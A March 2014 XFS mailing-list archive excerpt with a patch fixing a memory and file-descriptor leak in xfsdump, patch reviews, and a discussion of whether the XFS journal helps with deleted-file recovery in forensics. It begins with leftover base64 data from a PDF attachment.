P3qAqNDY/2ni9oEZxiX+58bVTFfepzDFueLx6Icp4X5LZ5+tOnl9RvmtMssTGU+OFtmfn7jrePRB 5zPaRmXpNzzytukNXmI06dL27Wqh017n748NyDM3y4+YouxxRD12WLs9pzaOdQ/aHNX9Bv/woVvT O5NfXXHLqlU3mhaTGS0Rz3uVR/nYjfSftLueuhxbG3DjiihtzjY6SVa1+Jp5ZEa7l1r5qkaulP7E DZJD8+xL7rU5HNKqdO3kGw/iXKa/Np6XX7V5aGhn9wupvltN3sqzxZswSK2nAPisiX9jVPZDrPh9 jLsg6wqv8c3e5iBXENFk9bLQChqMqSiSyxoPq+Or+b4llXN846OavMn3L4rluI29ywlQyOow68YO Ji948+Syz+ZBs3bwMY2+IpN340MLLDPNUScUj6JRKkomI/NxKA0ZolA0HKXgrX54fyQu9UfDl5ll mv6pe00bnpLcLzUypf9ww5/gTZwNyLDs95IeOshdI093UqeTNXM3589pU/iIcwgTP3Md7P/p05ai hc9v8ndGT3nz+LVo5JvzvWvfpC3OlCZtu1JkJ0oSpzwSXXirNdmmfNxcl5WnPMeFh3HDj17SuVT2 2WHqkmvbDAuL/R/vGr306aZyz8OPynyrz3jtff9QQ2dKh5dzwO9UXwfZ1DFF05b7TK/8FFgfvXH2 gRPyFl0Hb48oniV+d1QpvajdsCIqL/NY0SxHZ7PDv8fICmZQRwc2G1U0upvTwXPqGVu9jecuPDUi MCV9eZHVIeP7IwZfDC/IWfY8LEhOWamk+37I9dePylUfmZNxd5zJzeWLAl3EhzvGrXuw8srK7iaj JvNnmmksy6aa8dmU3ncbSeTZlAzvYv7tTfRnj/RDgKHQ0EQLwnntxi1R+n0WCPBvfjtCy5Wxq3WV 8/bY0dq7OTj1/ENDpOpNueqdkdPDbfvyk/x032y6+eT9T5glNJHq+QcCGJvqkqN6qy4b0UdkT+Im mNZ7U6d8XpRWLjNMn3d77605M9Ta3DazLFw1a2rkNO3aKsstwboT34+c9SjkUJsHe2zCc076zo5J 6hbR3Ft6ZAKV6fXMeOHIQ/Yjgp8lTrr7wVnrzeGps6Oahub9dk9dbdmFxUXv6sPcRW0fnn/WvSbO 06tfhz7F+0ovj7e5G1ZSOWt91KCE1qvVmf2nrKqG3Fg4ZfiwlLEb/fP2bxs7ObCtu9XYECP7NXWP jrROS6fKi9alhoSX9D8y+rG8Vf+8Fpk12yWb758rUbXOPptYtql60NYHY6PW7IR0/grXJmRrL7rm 3XbnGDrESHNqP/8klYSBPdS7JG1XQv8FUwT9Bg0KZW5kc3RyZWFtDQplbmRvYmoNCjQ2IDAgb2Jq DQo8PC9UeXBlL1hSZWYvU2l6ZSA0Ni9XWyAxIDQgMl0gL1Jvb3QgMSAwIFIvSW5mbyAyMSAwIFIv SURbPDIzOUQ2QkVGQzJEQjhCNENBQjQyQ0NBMDQ2RTkzMDkwPjwyMzlENkJFRkMyREI4QjRDQUI0 MkNDQTA0NkU5MzA5MD5dIC9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDE2Mj4+DQpzdHJlYW0N CnicNdC/DsFQFAbwc6taRRulBonZLBHmUgZ9BYvFZrEzmr0B7yGewOoxRGsSWx3fxx3OL/fm/MsV 0VMURmMo8mVHLsDkoLEH4QA0e2QBWgGIHNDm43AJRisQ38B4CyZr8gJJRM5gapO3iKVLdKVKaqRO PPJL8bVg9vzfDLFIibjEITYpkwoJtMu8g+npAdyv4NEH2Qbk+BdzzMDJE/kA7bEa6w0KZW5kc3Ry ZWFtDQplbmRvYmoNCnhyZWYNCjAgNDcNCjAwMDAwMDAwMjIgNjU1MzUgZg0KMDAwMDAwMDAxNyAw MDAwMCBuDQowMDAwMDAwMTI1IDAwMDAwIG4NCjAwMDAwMDAxODggMDAwMDAgbg0KMDAwMDAwMDQ5 NSAwMDAwMCBuDQowMDAwMDA0MjI5IDAwMDAwIG4NCjAwMDAwMDQ0MDMgMDAwMDAgbg0KMDAwMDAw NDY0NiAwMDAwMCBuDQowMDAwMDA0Njk5IDAwMDAwIG4NCjAwMDAwMDQ4NzggMDAwMDAgbg0KMDAw MDAwNTEyNiAwMDAwMCBuDQowMDAwMDA1NDY3IDAwMDAwIG4NCjAwMDAwMTM2NjQgMDAwMDAgbg0K MDAwMDAxMzkyNSAwMDAwMCBuDQowMDAwMDE2NTk1IDAwMDAwIG4NCjAwMDAwMTY3NjQgMDAwMDAg bg0KMDAwMDAxNzAwNCAwMDAwMCBuDQowMDAwMDE3MTQyIDAwMDAwIG4NCjAwMDAwMTcxNzIgMDAw MDAgbg0KMDAwMDAxNzMzOCAwMDAwMCBuDQowMDAwMDE3NDEyIDAwMDAwIG4NCjAwMDAwMTc2NTYg MDAwMDAgbg0KMDAwMDAwMDAyMyA2NTUzNSBmDQowMDAwMDAwMDI0IDY1NTM1IGYNCjAwMDAwMDAw MjUgNjU1MzUgZg0KMDAwMDAwMDAyNiA2NTUzNSBmDQowMDAwMDAwMDI3IDY1NTM1IGYNCjAwMDAw MDAwMjggNjU1MzUgZg0KMDAwMDAwMDAyOSA2NTUzNSBmDQowMDAwMDAwMDMwIDY1NTM1IGYNCjAw MDAwMDAwMzEgNjU1MzUgZg0KMDAwMDAwMDAzMiA2NTUzNSBmDQowMDAwMDAwMDMzIDY1NTM1IGYN CjAwMDAwMDAwMzQgNjU1MzUgZg0KMDAwMDAwMDAzNSA2NTUzNSBmDQowMDAwMDAwMDM2IDY1NTM1 IGYNCjAwMDAwMDAwMzcgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDE4NzEzIDAw MDAwIG4NCjAwMDAwMTkwODcgMDAwMDAgbg0KMDAwMDA2MDM2MiAwMDAwMCBuDQowMDAwMDYwNzIw IDAwMDAwIG4NCjAwMDAwNjEwNDEgMDAwMDAgbg0KMDAwMDA2MTM3MiAwMDAwMCBuDQowMDAwMTA2 MjIyIDAwMDAwIG4NCjAwMDAxMDYyNDkgMDAwMDAgbg0KMDAwMDE4MzQxOCAwMDAwMCBuDQp0cmFp bGVyDQo8PC9TaXplIDQ3L1Jvb3QgMSAwIFIvSW5mbyAyMSAwIFIvSURbPDIzOUQ2QkVGQzJEQjhC NENBQjQyQ0NBMDQ2RTkzMDkwPjwyMzlENkJFRkMyREI4QjRDQUI0MkNDQTA0NkU5MzA5MD5dID4+ DQpzdGFydHhyZWYNCjE4Mzc4MQ0KJSVFT0YNCnhyZWYNCjAgMA0KdHJhaWxlcg0KPDwvU2l6ZSA0 Ny9Sb290IDEgMCBSL0luZm8gMjEgMCBSL0lEWzwyMzlENkJFRkMyREI4QjRDQUI0MkNDQTA0NkU5 MzA5MD48MjM5RDZCRUZDMkRCOEI0Q0FCNDJDQ0EwNDZFOTMwOTA+XSAvUHJldiAxODM3ODEvWFJl ZlN0bSAxODM0MTg+Pg0Kc3RhcnR4cmVmDQoxODQ4NzkNCiUlRU9G --===============2051246404==-- From ranto.boris@gmail.com Fri Mar 7 08:53:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E23FA7F50 for ; Fri, 7 Mar 2014 08:53:13 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7A6DEAC003 for ; Fri, 7 Mar 2014 06:53:13 -0800 (PST) X-ASG-Debug-ID: 1394203991-04cbb054b6145840001-NocioJ Received: from mail-qa0-f53.google.com (mail-qa0-f53.google.com [209.85.216.53]) by cuda.sgi.com with ESMTP id GbyDpaO9O9jxJTI2 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 07 Mar 2014 06:53:12 -0800 (PST) X-Barracuda-Envelope-From: ranto.boris@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.53 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.53] Received: by mail-qa0-f53.google.com with SMTP id w8so4129641qac.12 for ; Fri, 07 Mar 2014 06:53:11 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.53] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.53] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=IgPV+uIm/fj87FCGodLrzsJ9LORJE/Dl2PCYA2n0gAU=; b=A8K/5zqlDLRhsDnRliowpEYrVkZZdNxakPVh7crrT9wtIXZUGD6diz2rRZsa/YBGcq 19vXDFXPU/bFaISAglJxC5puHE2WVUuFXvuRg+xI/y491w39zIzigFPBva817h3rCrVd f8Hi86LRIuAR1vb3TJxPHvF9cbCIFfFhQNkiRWKOSV/0rv8ccOA13pYzPbtElosHya5l 2+VveX+TPrr3EXTxqZdGsxcr/6On/6/Im8b9hhe5isSbxAHbIFSC3kQiC3GTplY0GhR+ /mFya3/PZbxCWQrODtQyNlCmcPIFPCDBKCoMK5H1RQ8f/QzvqCwQDpK3KjYaQrYCCs/O peCg== X-Received: by 10.224.115.142 with SMTP id i14mr10991441qaq.9.1394203991525; Fri, 07 Mar 2014 06:53:11 -0800 (PST) Received: from archie.redhat.com (178-253-138-78.3pp.slovanet.sk. [178.253.138.78]) by mx.google.com with ESMTPSA id u1sm29986026qac.1.2014.03.07.06.53.09 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Fri, 07 Mar 2014 06:53:10 -0800 (PST) From: Boris Ranto To: xfs@oss.sgi.com Cc: branto@redhat.com, Boris Ranto Subject: [PATCH v2] xfsdump: Fix memory and fd leak in invutil/stobj.c Date: Fri, 7 Mar 2014 15:52:42 +0100 X-ASG-Orig-Subj: [PATCH v2] xfsdump: Fix memory and fd leak in invutil/stobj.c Message-Id: <1394203962-17080-1-git-send-email-ranto.boris@gmail.com> X-Mailer: git-send-email 1.9.0 X-Barracuda-Connect: mail-qa0-f53.google.com[209.85.216.53] X-Barracuda-Start-Time: 1394203992 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3679 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature The function open_stobj duplicates its argument, upon successful duplication, the fstat is called. If the fstat command fails then the memory for the duplicated string is leaked. Fix this by moving the string duplication after the fstat call. This is ok because the fstat call does not use the duplicated string. Brian Foster noticed that the function also leaks a file descriptor in case the file cannot be fstated. Fixing that, too. Signed-off-by: Boris Ranto --- invutil/stobj.c | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/invutil/stobj.c b/invutil/stobj.c index 428b419..a74ba0f 100644 --- a/invutil/stobj.c +++ b/invutil/stobj.c @@ -578,23 +578,24 @@ open_stobj(char *StObjFileName) return fd; } - name = strdup(StObjFileName); - if(name == NULL) { - fprintf(stderr, "%s: internal memory error: strdup stobj_name\n", g_programName); - exit(1); - } - read_n_bytes(fd, &cnt, sizeof(invt_sescounter_t), StObjFileName); lseek( fd, 0, SEEK_SET ); errno = 0; if (fstat(fd, &sb) < 0) { fprintf(stderr, "Could not get stat info on %s\n", StObjFileName); perror("fstat"); + close(fd); return -1; } size = sb.st_size; mapaddr = mmap_n_bytes(fd, size, BOOL_FALSE, StObjFileName); + name = strdup(StObjFileName); + if(name == NULL) { + fprintf(stderr, "%s: internal memory error: strdup stobj_name\n", g_programName); + exit(1); + } + return add_stobj(name, fd, size, mapaddr, (invt_sescounter_t *)mapaddr); } -- 1.9.0 From prvs=8143c18a7a=jbacik@fb.com Fri Mar 7 12:22:29 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1B54E7F51 for ; Fri, 7 Mar 2014 12:22:29 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id E0E2E8F804B for ; Fri, 7 Mar 2014 10:22:25 -0800 (PST) X-ASG-Debug-ID: 1394216544-04bdf05daa36e2c0001-NocioJ Received: from mx0a-00082601.pphosted.com (mx0a-00082601.pphosted.com [67.231.145.42]) by cuda.sgi.com with ESMTP id NCtyTGuyXSHQwzDh for ; Fri, 07 Mar 2014 10:22:24 -0800 (PST) X-Barracuda-Envelope-From: prvs=8143c18a7a=jbacik@fb.com X-Barracuda-Apparent-Source-IP: 67.231.145.42 X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] Received: from pps.filterd (m0044012 [127.0.0.1]) by mx0a-00082601.pphosted.com (8.14.5/8.14.5) with SMTP id s27I7KmL025683; Fri, 7 Mar 2014 10:22:23 -0800 X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fb.com; h=message-id : date : from : mime-version : to : cc : subject : references : in-reply-to : content-type : content-transfer-encoding; s=facebook; bh=+1AiSF5aBgs/xxa1lhOca/J+kYUzU9M0HY9UZ647mQM=; b=E6ivuY8/i9UyqvkBM42SF+PmSBh5S5pov3F8ZUZKR2myNwH7xPDxg+3cRfeqwfajfPt5 KEyia0W0pnQ7ZGIXlTMNd92QlY8rlLtdtWwEmkIv9P5fAJnhdKmGX9Bf6xsi2LEu5yRm UXpq30bHoU8YUQdMyCb41BxB4xacCNmRcNE= Received: from mail.thefacebook.com (mailwest.thefacebook.com [173.252.71.148]) by mx0a-00082601.pphosted.com with ESMTP id 1jexpt4jm6-1 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=OK); Fri, 07 Mar 2014 10:22:22 -0800 Received: from localhost.localdomain (192.168.57.29) by mail.thefacebook.com (192.168.16.11) with Microsoft SMTP Server (TLS) id 14.3.174.1; Fri, 7 Mar 2014 10:22:21 -0800 Message-ID: <531A0E5B.108@fb.com> Date: Fri, 7 Mar 2014 13:22:19 -0500 From: Josef Bacik User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Filipe David Borba Manana , CC: Subject: Re: [PATCH v2] xfstests: add test for btrfs send issuing premature rmdir operations References: <1392820352-8550-1-git-send-email-fdmanana@gmail.com> <1393242878-16039-1-git-send-email-fdmanana@gmail.com> X-ASG-Orig-Subj: Re: [PATCH v2] xfstests: add test for btrfs send issuing premature rmdir operations In-Reply-To: <1393242878-16039-1-git-send-email-fdmanana@gmail.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 7bit X-Originating-IP: [192.168.57.29] X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87,1.0.14,0.0.0000 definitions=2014-03-07_06:2014-03-07,2014-03-07,1970-01-01 signatures=0 X-Proofpoint-Spam-Details: rule=fb_default_notspam policy=fb_default score=0 kscore.is_bulkscore=8.63897842151573e-12 kscore.compositescore=0 circleOfTrustscore=834.433483666948 compositescore=0.533125042697551 urlsuspect_oldscore=0.533125042697551 suspectscore=0 recipient_domain_to_sender_totalscore=0 phishscore=0 bulkscore=0 kscore.is_spamscore=0 recipient_to_sender_totalscore=0 recipient_domain_to_sender_domain_totalscore=1996008 rbsscore=0.533125042697551 spamscore=0 recipient_to_sender_domain_totalscore=0 urlsuspectscore=0.9 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1 engine=7.0.1-1305240000 definitions=main-1403070085 X-FB-Internal: deliver X-Barracuda-Connect: mx0a-00082601.pphosted.com[67.231.145.42] X-Barracuda-Start-Time: 1394216544 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 02/24/2014 06:54 AM, Filipe David Borba Manana wrote: > Regression test for btrfs incremental send issue where a rmdir > instruction is sent against an orphan directory inode which is not > empty yet, causing btrfs receive to fail when it attempts to remove > the directory. > > This issue is fixed by the following linux kernel btrfs patch: > > Btrfs: fix send attempting to rmdir non-empty directories > > Signed-off-by: Filipe David Borba Manana --- Looks good to me, Reviewed-by: Josef Bacik Thanks, Josef -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQIcBAEBAgAGBQJTGg5bAAoJEANb+wAKly3BFtMQAMDITxFeFKRw5o5g88NUJT+n /AQp584QUb+sBhJnyYVET98S47R4C9d7jAu8fUxUJd2FaZ0UPR+rl/LnpdYXy8oJ 29A2tvbSiOZGQp+kWlGpLqKmmEj/3R/0QZwTrB1jsxKwVsH+OGK1fazOwhkahloL 8R6xBtcvMzkBFEQ08T0dmodDaWKPp8dgztcScrVt+RGkePPVoKE9X4hwTwAl8muk nPv9TvRULOs2emvxuTnEVqZfou0HcOTuKWXAOXN2peXBe324SjfQ0JmAMjtG1Ukw nAs5wu8eII1k9/rjGLarNhpuSuMaM5tth0tIb2ebYwxwpYpY6o4eNN2RR6vWlCEz vULou68VKdOG6/c6uO6cXuI8zOwScWuYyYFXFLTFpAhjdKwY1HaCwSanvnamdYy8 kNITDGkYSqs0Abj9wzQDcJcTrjpHDDe/3olb5LMJjrdTneMyDVXc+Ym+FbBhmQUX d7vC+a7sRVWwN4xGoqxDgZZQLpGBEO60FhA5kIO9lgis2LdG8SXE0ch4sQuWZ8iC S9Aw46dssmiY+d3BkugCOPW/7IlID/obLGUF+CWcWMkxSMbwaPn6RfNJmW+9k+rv fkUVj+U75pBtnuwW3LxV7gUq8HwTz8G1fh+96o41yKXpayBQUoIA47AHCUZtP9Fi RemqwFmZxhi7ztZYfni2 =8Kl8 -----END PGP SIGNATURE----- From bfoster@redhat.com Fri Mar 7 12:48:18 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 987D97F52 for ; Fri, 7 Mar 2014 12:48:18 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7CCA38F804C for ; Fri, 7 Mar 2014 10:48:18 -0800 (PST) X-ASG-Debug-ID: 1394218097-04cbb054b71556a0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id GAShSi0GK5BrCcel for ; Fri, 07 Mar 2014 10:48:17 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s27ImF6e001206 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 7 Mar 2014 13:48:15 -0500 Received: from laptop.bfoster (vpn-49-171.rdu2.redhat.com [10.10.49.171]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s27ImE6o005794; Fri, 7 Mar 2014 13:48:14 -0500 Received: from laptop.bfoster (localhost.localdomain [127.0.0.1]) by laptop.bfoster (Postfix) with ESMTP id 46BA5120B00; Fri, 7 Mar 2014 13:48:14 -0500 (EST) Received: (from bfoster@localhost) by laptop.bfoster (8.14.7/8.14.7/Submit) id s27ImD46019841; Fri, 7 Mar 2014 13:48:13 -0500 X-Authentication-Warning: laptop.bfoster: bfoster set sender to bfoster@redhat.com using -f Date: Fri, 7 Mar 2014 13:48:12 -0500 From: Brian Foster To: Boris Ranto Cc: xfs@oss.sgi.com, branto@redhat.com Subject: Re: [PATCH v2] xfsdump: Fix memory and fd leak in invutil/stobj.c Message-ID: <20140307184812.GA19284@laptop.bfoster> X-ASG-Orig-Subj: Re: [PATCH v2] xfsdump: Fix memory and fd leak in invutil/stobj.c References: <1394203962-17080-1-git-send-email-ranto.boris@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1394203962-17080-1-git-send-email-ranto.boris@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1394218097 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Mar 07, 2014 at 03:52:42PM +0100, Boris Ranto wrote: > The function open_stobj duplicates its argument, upon successful > duplication, the fstat is called. If the fstat command fails then > the memory for the duplicated string is leaked. Fix this by moving > the string duplication after the fstat call. This is ok because > the fstat call does not use the duplicated string. > > Brian Foster noticed that the function also leaks a file descriptor > in case the file cannot be fstated. Fixing that, too. > > Signed-off-by: Boris Ranto > --- > invutil/stobj.c | 13 +++++++------ > 1 file changed, 7 insertions(+), 6 deletions(-) > > diff --git a/invutil/stobj.c b/invutil/stobj.c > index 428b419..a74ba0f 100644 > --- a/invutil/stobj.c > +++ b/invutil/stobj.c > @@ -578,23 +578,24 @@ open_stobj(char *StObjFileName) > return fd; > } > > - name = strdup(StObjFileName); > - if(name == NULL) { > - fprintf(stderr, "%s: internal memory error: strdup stobj_name\n", g_programName); > - exit(1); > - } > - > read_n_bytes(fd, &cnt, sizeof(invt_sescounter_t), StObjFileName); > lseek( fd, 0, SEEK_SET ); > errno = 0; > if (fstat(fd, &sb) < 0) { > fprintf(stderr, "Could not get stat info on %s\n", StObjFileName); > perror("fstat"); > + close(fd); > return -1; > } > size = sb.st_size; > mapaddr = mmap_n_bytes(fd, size, BOOL_FALSE, StObjFileName); > > + name = strdup(StObjFileName); > + if(name == NULL) { > + fprintf(stderr, "%s: internal memory error: strdup stobj_name\n", g_programName); > + exit(1); > + } > + > return add_stobj(name, fd, size, mapaddr, (invt_sescounter_t *)mapaddr); > } > The remaining failure cases all appear to exit(), including those in add_stobj(). Looks good to me, thanks for making that fix... Reviewed-by: Brian Foster > -- > 1.9.0 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From stan@hardwarefreak.com Fri Mar 7 16:19:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 75A8D7F54 for ; Fri, 7 Mar 2014 16:19:44 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 694728F8037 for ; Fri, 7 Mar 2014 14:19:41 -0800 (PST) X-ASG-Debug-ID: 1394230780-04cb6c567835ac50001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id PAaX8wCfYwrAu82q for ; Fri, 07 Mar 2014 14:19:40 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id D2AB26C169; Fri, 7 Mar 2014 16:19:39 -0600 (CST) Message-ID: <531A4600.7050906@hardwarefreak.com> Date: Fri, 07 Mar 2014 16:19:44 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Yongmin , "xfs@oss.sgi.com" Subject: Re: Hello, I have a question about XFS File System References: <195DE8C60CE24A62A71911FDE0B0DC97@gmail.com> <5318DB01.2040102@hardwarefreak.com> <279D0A265E5D4AF5B099BFAD4E8B1700@gmail.com> X-ASG-Orig-Subj: Re: Hello, I have a question about XFS File System In-Reply-To: <279D0A265E5D4AF5B099BFAD4E8B1700@gmail.com> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1394230780 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Please reply to the mailing list as well as the individual. Note that you stated: '...the concentrated part of mine is "Deleted File Recovery"' On 3/6/2014 10:02 PM, Yongmin wrote: > > Yes! there are no actual file data in journaling part. > > BUT, by analyzing journaling part, we can get a Inode Core Information which was deleted. > In Inode Core, there are many information about the actual data, i.e. start address, file length etc. Analyzing the journal code may inform you about structures, but it won't inform you about on disk locations of the structures and how to find them. If a file has been deleted, no information about that is going to exist in the journal for more than a few seconds before the transaction is committed and the entry removed from the journal. > By using those information, Recovering delete file can be done. > > So the analysis of Journaling part is absolutely needed. I disagree. Again, the journal log is unrelated to "deleted file recovery" in a forensics scenario. I think Dave and Jeff both missed the fact that you're interested only in deleted file recovery, not in learning how the journal works for the sake of learning how the journal works. > ======================= > from Yongmin Park > ======================= > > > On 2014ë…„ 3ì›” 7ì¼ Friday at 오전 5:30, Stan Hoeppner wrote: > >> On 3/6/2014 3:15 AM, Yongmin wrote: >>> >>> Hello. >>> >>> My name is Yongmin Park and I am a graduated student in Ajou >>> University (Korea). My research area is Digital Forensics. And this >>> time i tried to understand the structure of XFS file system, because >>> XFS is one of the famous huge file system in these days. >>> >>> I already founded and read 'XFS Filesystem Structure 2nd Edition >>> Revision 1' on the Internet, which was written by Silicon Graphics >>> Inc in 2006 and it is really well written to understand. >>> >>> But the concentrated part of mine is "Deleted File Recovery", so the >>> Journaling part is really important for me,, but regretfully there >>> are no specific guide line about Journaling part... Also next >>> version(maybe the 3re Edition) is not exsist for more than a 5 >>> years. >>> >>> So is there no guide line for journaling part in XFS? How can i get >>> them,, have I to buy them? or Is Analysing Source Cord only way to >>> study? >>> >> >> >> The journal only contains in flight transactional metadata for recovery >> purposes after a system crash or power loss, to prevent filesystem, i.e. >> metadata, corruption. The journal does not contain file data. During >> normal operation, once the metadata has been written into an allocation >> group the transactional entry in the journal is removed. Thus, >> recovering deleted files has nothing to do with the journal. >> >> This may be helpful: >> http://xfs.org/index.php/XFS_FAQ#Q:_Does_the_filesystem_have_an_undelete_capability.3F -- Stan From sgosse@sgi.com Fri Mar 7 16:40:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D1AE57F56 for ; Fri, 7 Mar 2014 16:40:36 -0600 (CST) Received: from xmail.sgi.com (pv-excas1-dc21.corp.sgi.com [137.38.106.7]) by relay3.corp.sgi.com (Postfix) with ESMTP id 46D8BAC004; Fri, 7 Mar 2014 14:40:33 -0800 (PST) Received: from P-EXMB2-DC21.corp.sgi.com ([169.254.2.132]) by PV-EXCAS1-DC21.corp.sgi.com ([137.38.106.7]) with mapi id 14.03.0123.003; Fri, 7 Mar 2014 16:40:32 -0600 From: Shaun Gosse To: "stan@hardwarefreak.com" , Yongmin , "xfs@oss.sgi.com" Subject: RE: Hello, I have a question about XFS File System Thread-Topic: Hello, I have a question about XFS File System Thread-Index: AQHPOlNXZ1hsCqPYc06xMvD7gOte95rWNVng Date: Fri, 7 Mar 2014 22:40:31 +0000 Message-ID: <8D3FA7645C1CFC4E9E783D22B4C708647305E1F5@P-EXMB2-DC21.corp.sgi.com> References: <195DE8C60CE24A62A71911FDE0B0DC97@gmail.com> <5318DB01.2040102@hardwarefreak.com> <279D0A265E5D4AF5B099BFAD4E8B1700@gmail.com> <531A4600.7050906@hardwarefreak.com> In-Reply-To: 